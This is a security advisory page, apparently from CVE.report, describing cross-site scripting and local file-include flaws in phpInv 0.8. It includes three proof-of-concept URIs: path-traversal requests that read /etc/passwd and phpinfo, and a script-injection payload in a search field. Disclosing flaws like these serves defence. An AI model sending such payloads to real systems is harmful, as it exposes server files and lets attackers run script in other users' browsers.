phpInv Cross-Site Scripting and Local File Include Vulnerabilities

BID:29597

Info

phpInv Cross-Site Scripting and Local File Include Vulnerabilities

Bugtraq ID: 29597
Class: Input Validation Error
CVE: CVE-2008-2695
CVE-2008-2694
Remote: Yes
Local: No
Published: Jun 08 2008 12:00AM
Updated: Jul 06 2016 02:17PM
Credit: CWH Underground
Vulnerable: phpInv phpInv 0.8
Not Vulnerable:

Discussion

phpInv Cross-Site Scripting and Local File Include Vulnerabilities

phpInv is prone to a local file-include vulnerability and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The attacker may exploit the local file-include vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

phpInv 0.8.0 is vulnerable; other versions may also be affected.

Exploit / POC

phpInv Cross-Site Scripting and Local File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00
http://www.example.com/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo
http://www.example.com/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search

Solution / Fix

phpInv Cross-Site Scripting and Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

phpInv Cross-Site Scripting and Local File Include Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report